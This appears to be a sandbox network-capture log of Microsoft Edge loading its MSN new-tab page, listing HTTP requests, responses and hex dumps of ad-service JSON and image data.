2024-11-11 11:40:28 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731325227261&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=cf0083d9bd7d43b991d9ad6081c2b329&activityId=cf0083d9bd7d43b991d9ad6081c2b329&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5CD1DCDC8EC04B8E8A661A2DA7C3EE4E&RedC=c.msn.com&MXFR=1817CCD1391B64C11978D9E5387965A3 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1817CCD1391B64C11978D9E5387965A3; domain=.msn.com; expires=Sat, 06-Dec-2025 11:40:28 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Mon, 11 Nov 2024 11:40:28 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49881	20.96.153.111	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:28 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1817CCD1391B64C11978D9E5387965A3&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=2014104628d94364b1a2d44a982f3391 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1
2024-11-11 11:40:29 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 11 Nov 2024 11:40:28 GMT Connection: close
2024-11-11 11:40:29 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49884	104.117.182.56	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	521	IN	HTTP/1.1 200 OK Last-Modified: Sun, 20 Oct 2024 20:29:46 GMT Access-Control-Allow-Origin: * X-Datacenter: eastap X-ActivityId: bf7af817-a9a9-43b3-830a-f8f10491cf72 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKSh X-Source-Length: 116060 Content-Length: 116060 Cache-Control: public, max-age=118192 Expires: Tue, 12 Nov 2024 20:30:21 GMT Date: Mon, 11 Nov 2024 11:40:29 GMT Connection: close
2024-11-11 11:40:29 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: dc b4 ba 4e d6 06 fd 6c 02 14 c9 bd 96 e5 ba dc 8d e3 b6 e8 89 2d ff 00 1e a1 c1 f0 f5 4b 6f 66 97 b0 db f8 3d 97 8e a1 46 cf df 87 c9 30 97 99 73 e3 ad a6 d9 89 2d 07 84 89 54 4b bc ad 2e 32 68 26 e7 2b 09 92 b6 c1 44 62 f3 13 c8 49 e5 70 15 68 2e 21 a0 12 4d 00 12 49 e8 2a 8e e0 f6 37 07 e3 73 89 98 48 73 63 f9 4b 44 4e d3 c5 02 5d 15 30 7a 98 b7 c9 4d a0 c3 10 c4 08 87 0a cc 02 38 b4 89 f9 2d 69 76 8b 81 22 0d c7 99 ad 77 fe 97 4d f6 24 21 e2 76 10 d9 10 09 81 22 44 d4 ef 7e a8 8e 6b ac 5a 5a 65 a2 43 65 ad 07 f8 92 60 13 99 8b 20 ae c2 e0 e3 89 c4 c8 00 38 03 2d ea ec 46 08 a4 5f 8a c1 88 d0 3a 48 22 00 fd b1 94 5d 0d a6 ff 00 8e 39 9f 29 9e db 10 6d 5d 92 8c ed 92 0d b6 e6 fd 91 db 3e 09 dc 69 e6 2e b4 c1 9f 2c e5 70 27 95 92 0c 44 61 6c f9 8d 37 22 Data Ascii: Nl-Kof=F0s-TK.2h&+DbIph.!MI*7sHscKDN]0zM8-iv"wM$!v"D~kZZeCe` 8-F_:H"]9)m]>i.,p'Dal7"
2024-11-11 11:40:29 UTC	2373	IN	Data Raw: 71 04 03 17 3c 43 a3 de 4a b5 92 05 29 b8 b0 9b d7 f1 36 b6 70 86 6c 4d 40 37 13 b6 46 f5 b2 06 b8 31 61 4a a9 05 d7 33 73 7b 89 82 77 be fd a8 2d 92 49 8b 45 f8 1e 22 be 29 85 89 cc 67 b1 cc 4c e5 9d 10 52 31 52 e4 f5 a4 67 1e c2 66 db f2 04 c7 08 1c 63 c7 75 b8 6c d2 21 dd 83 39 8b 5f c5 2b aa 37 cc 5c e7 65 96 93 41 b6 16 dc 1b 91 02 a4 52 d3 45 ae 75 ab 5e 9d 9f 4b 21 e9 e1 c2 41 02 66 d2 4e c6 7a 57 a7 44 7c c4 89 9d fc 0d 66 ca 82 b5 b8 c4 fe 30 2d f4 eb c4 a9 43 5e 72 e3 ba 87 e6 88 6b 8b 9a 4c 13 73 5c 89 81 9d fa a2 34 10 09 13 6b 5b dd 14 5d a4 f9 dd 51 02 36 02 3b 02 3b 49 61 02 48 c8 8a 72 34 51 01 c3 18 45 c8 ce f5 da 0d 95 6b dc 2f 37 1e f8 ae 6d ba b8 e6 c4 10 3b b8 db 64 9a 61 b8 bc b6 c5 58 b5 8c d4 99 b0 a2 8d a4 71 3d b2 4d 61 c1 bf c7 Data Ascii: q<CJ)6plM@7F1aJ3s{w-IE")gLR1Rgfcul!9_+7\eAREu^K!AfNzWD\|f0-C^rkLs\4k[]Q6;;IaHr4QEk/7m;daXq=Ma
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 46 9c 26 12 d3 62 88 cd 3c 78 bc cc 6c 34 bb cc e8 98 c8 6e 76 0a 8a dc 38 5c 1d 33 12 d3 78 ea 20 0f 19 00 21 42 24 50 88 33 22 26 4d 85 4d 39 2a 7f 2a 8e 3e c2 05 68 b8 98 e6 60 73 85 a2 09 18 8c 5c 49 ac 0d f2 44 92 e2 31 3a c2 c2 4d 00 f7 44 3a 19 13 d0 fd d0 14 7f 90 89 2c 60 02 c4 8c 20 c5 ef 84 13 27 73 da 84 5a 41 c8 e5 6a 22 33 4d da 8e c2 d1 26 f5 20 01 02 4f 98 90 12 03 7b d2 0d 2d 97 0e d4 0b 10 6e 9a b3 17 ed fd 11 5c 1c e7 39 da 8e 33 69 c5 25 c6 82 06 2b 92 07 82 0d a6 fe c2 2b 60 c5 39 e7 de a8 9d 32 08 22 62 b6 35 1e 05 57 19 36 98 ca c0 5b 2b 0f 15 41 83 30 38 1b 84 42 81 29 a0 c4 c0 ac 0b 89 ec af 3a 26 00 41 93 7b 46 dc d2 10 83 69 6b 2c 5a 5b 11 70 6d 36 33 c8 f5 5b 62 45 eb d8 3b d0 59 f7 f4 4f 33 33 73 6b 84 ae c3 fb 4b 88 dc 88 e1 Data Ascii: F&b<xl4nv8\3x !B$P3"&MM9**>h`s\ID1:MD:,` 'sZAj"3M& O{-n\93i%++`92"b5W6[+A08B):&A{Fik,Z[pm63[bE;YO33skK
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 64 2b 84 c9 91 d1 dd 78 da bd 60 71 5d 2f 86 4b 48 3f 93 7b 63 a8 db ad d5 73 44 cd 49 e7 3c 72 3e 25 5d b3 a7 3a 29 22 e0 9e 63 f8 9c ed b8 94 3c 1f 4f 97 e9 d8 ba 5f 0a e6 00 39 91 97 23 97 3e c4 bf 0f f2 b9 81 43 15 e8 46 71 d1 36 69 cf c3 1c bc 3d f2 e0 b2 23 a4 78 70 db dd 94 ff 00 86 6d 06 e6 9d 47 43 9f f4 d9 2f c3 34 11 d3 28 e9 d0 f4 b2 6c d2 0c 11 ef df 87 35 6f 6e 9e fd 8a 29 b8 33 8b 7b ec 3e e1 2e 11 6b 4e fd 7e be 1d 15 44 7a e5 d7 87 d0 e6 32 c8 ad f9 1b 6d f4 28 d8 0e c7 e6 ae 03 7e 82 79 7d c7 b9 41 1e d7 e0 3b 7d d0 ab ef 8f e8 a4 60 8b 5a d7 fa 75 1e 23 aa 4c 1d 3d ec 7e c7 b5 00 ae b7 17 d9 3e 18 f7 ee fe ee b2 29 d9 ef df 62 a8 d6 9a 56 d3 d8 b6 68 91 60 27 ec 80 c1 e6 0f 40 3e a8 d8 88 9a d8 81 da a1 e2 b7 bf 7c 16 cf be 1f 70 a0 9c Data Ascii: d+x`q]/KH?{csDI<r>%]:)"c<O_9#>CFq6i=#xpmGC/4(l5on)3{>.kN~Dz2m(~y}A;}`Zu#L=~>)bVh`'@>\|p
2024-11-11 11:40:29 UTC	7952	IN	Data Raw: 4a 96 c4 8e 60 f7 a6 70 c6 b9 ba da c7 d4 3e 4c 09 36 e7 92 95 e9 f4 c8 3c 73 df a1 0a 46 bf a0 0f 25 de 9f 8f c3 99 b6 ed 39 f0 50 bd 3f ab 76 89 87 89 8c cd 42 6f 73 8f b2 75 79 7b 0d 42 3d 3f a7 2d 71 12 ec af d9 55 e2 c4 97 df cd d1 77 7d 49 fe f5 b8 98 e1 39 89 f2 93 c6 6d cd 70 b0 bf 41 f1 a8 d7 09 88 3c f2 34 3c 42 ce 33 8b ee d6 4f 5b e9 5a e2 43 45 41 ad 62 33 ea 12 ff 00 d9 6a 89 00 3a 99 01 45 27 d0 bd 8f 04 b4 83 e4 b1 cf b2 ab cb fa c7 93 ac e2 72 f0 58 93 79 2d ae 8f a4 71 70 83 1d 1d 91 e9 1f 65 e8 de 3f b8 f4 e6 c7 13 47 31 d1 79 ef 46 5b 13 df c2 93 45 df f5 9a ce d2 d2 69 6d b1 08 ea 54 bd af c3 a9 e8 b5 be 3e 88 fe 4c f2 bd b9 82 3c 6e a7 47 e8 bc 0f a3 f5 6f 6b a4 12 0d 3a 2f 6f a1 ac 35 85 e0 3b bd 66 cd 31 7d c6 80 46 e8 52 ed 3a f9 Data Ascii: J`p>L6<sF%9P?vBosuy{B=?-qUw}I9mpA<4<B3O[ZCEAb3j:E'rXy-qpe?G1yF[EimT>L<nGok:/o5;f1}FR:
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 93 33 94 fb f7 4e c5 43 cb 62 a3 a8 36 ed 3d c5 04 71 f7 ef 75 93 ef df d5 04 af 88 5d 22 07 08 f1 8c 94 63 73 7a f7 ac 98 e1 dd f2 e5 d8 b4 bc 18 90 0f 87 b2 81 0e fd eb 1d 07 28 4d 3e fe 69 5c 5a 62 44 70 fb 2a 85 86 ef f4 59 84 67 96 de fb 90 8b 86 52 b2 56 90 c7 b5 58 04 2c 99 43 a1 d9 02 1b 74 55 3c ef ef e4 94 b5 b9 59 69 92 c1 da 55 58 41 19 ac 41 4f 14 aa d5 64 14 1e 15 6a a9 84 af 63 e7 31 11 ad 95 a1 bb a2 e2 02 c1 46 96 c0 24 2e 4a 5c 86 83 49 94 aa aa 88 aa ad 09 80 40 a8 ec 64 94 cd d3 dd 10 b8 70 46 9a 69 6a 04 22 b1 ce 40 26 54 1a 4a 55 89 95 46 26 58 11 d8 cc 46 10 20 69 2a 5b 58 05 6f 9a 24 45 80 a2 19 30 b2 d9 9c e4 07 6a 13 69 41 25 24 ca a9 b3 13 29 55 5a ab 2d 5b 09 c0 94 48 e8 a3 45 88 b8 bf bc 94 86 36 d2 47 b2 b1 91 e2 a4 3a 40 ae Data Ascii: 3NCb6=qu]"csz(M>i\ZbDpYgRVX,CtU<YiUXAAOdjc1F$.J\I@dpFij"@&TJUF&XF i[Xo$E0jiA%$)UZ-[HE6G:@
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: a6 31 92 7a 19 ae 67 6b 0f 92 47 bb 15 48 04 08 e6 06 67 39 2a fc 4c 56 d5 f3 0c a6 64 70 cc 78 ac fa af a3 91 69 d9 32 57 81 88 81 44 d1 4f 7e ec ba b8 1c 13 43 db c3 74 ec 27 f6 c9 e8 93 88 a5 bc 11 19 6f 31 cc 5a d7 b7 35 1a 17 e2 df 0b 83 76 06 29 ef ad d3 bf 4d b6 0d 34 bd 6b c3 ec 86 df 33 86 fc 04 78 a3 ea 34 40 75 c4 5a dc b3 9e de 4b 2d fc 01 84 b2 f0 6f 15 e0 ba fa 4f 73 5a 00 83 4b 19 83 cc 57 ea a3 69 3e 4b c5 43 80 06 b1 06 92 6f 9c 71 45 d4 d2 87 c4 e7 02 0c c7 02 2c 7b 56 6b 78 f1 cc 75 b1 fc 36 62 00 c6 a3 73 ce 49 9c c8 b7 48 5e 7b 56 d5 10 7b 78 5a 17 59 d6 d1 6d 41 89 9b 8e d1 be db ae 16 ab a5 e7 6b d8 52 38 6c b3 8b 59 d2 48 11 51 ee 2a 56 03 11 07 c1 2f 54 c0 8a c5 17 57 01 24 71 9c f8 7b b2 23 20 cc c5 c1 1c 0f 25 1c 53 c7 f5 53 b4 Data Ascii: 1zgkGHg9LVdpxi2WDO~Ct'o1Z5v)M4k3x4@uZK-oOsZKWi>KCoqE,{Vkxu6bsIH^{V{xZYmAkR8lYHQV/TW$q{# %SS
2024-11-11 11:40:29 UTC	7952	IN	Data Raw: 61 55 58 b5 05 55 62 d4 15 32 b0 b1 41 b5 44 6d 21 64 59 68 0a 34 d5 d1 69 86 d8 09 91 9d c4 70 b0 50 05 ec a7 c7 91 b5 bd a2 87 8c 0c b2 1b c2 cd 6e 04 46 1d a3 8c f7 28 ee 03 7a ee a4 38 8b db 28 f7 b2 88 63 82 a9 41 4a 9a 89 55 65 53 2c 5a 10 6c 6c b7 ad 92 f2 5a 2e 2a 81 9b 72 9f 0c f5 41 a2 34 84 56 ce 43 3a 8e ab ad a0 ef 29 07 8c 46 62 97 17 f7 75 c9 1f 90 af 0c d7 4f 4c 86 83 36 99 3d 6d 15 06 92 28 42 c5 6f 15 3c 26 2e 76 c9 44 73 70 99 ae 7d 0c fd 94 cc 25 e0 b8 48 88 e5 b1 26 8a 2b 8d a2 2e 77 af 6f 7a 2d 44 30 4a 12 23 8d ca 1c 2d b9 b5 3c de 7b ba 24 94 c2 c8 86 8e 94 f7 45 40 24 1a db dd 82 a0 d6 c2 f6 be 5d 46 df 55 4f 0e 05 14 61 76 9a 15 d2 f4 a3 03 89 13 31 13 52 2f 5c ea 2c b9 4c b7 cd 76 bd 3f e2 f8 75 c9 0d da 26 b9 c8 e2 b9 de 9d 31 Data Ascii: aUXUb2ADm!dYh4ipPnF(z8(cAJUeS,ZllZ.*rA4VC:)FbuOL6=m(Bo<&.vDsp}%H&+.woz-D0J#-<{$E@$]FUOav1R/\,Lv?u&1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49883	104.117.182.56	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 07 Nov 2024 12:58:05 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ba24fde8-14e0-48b8-a3cb-6556d76b4d9b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=91063 Expires: Tue, 12 Nov 2024 12:58:12 GMT Date: Mon, 11 Nov 2024 11:40:29 GMT Connection: close
2024-11-11 11:40:29 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49885	104.117.182.56	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 29 Oct 2024 01:40:51 GMT X-Datacenter: northeu X-ActivityId: 0accdf79-c791-4c7c-a2a4-4b49d6a1d7fc Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=50503 Expires: Tue, 12 Nov 2024 01:42:12 GMT Date: Mon, 11 Nov 2024 11:40:29 GMT Connection: close
2024-11-11 11:40:29 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49886	104.117.182.56	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sun, 10 Nov 2024 06:14:35 GMT X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=326093 Expires: Fri, 15 Nov 2024 06:15:22 GMT Date: Mon, 11 Nov 2024 11:40:29 GMT Connection: close
2024-11-11 11:40:29 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49888	104.117.182.56	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
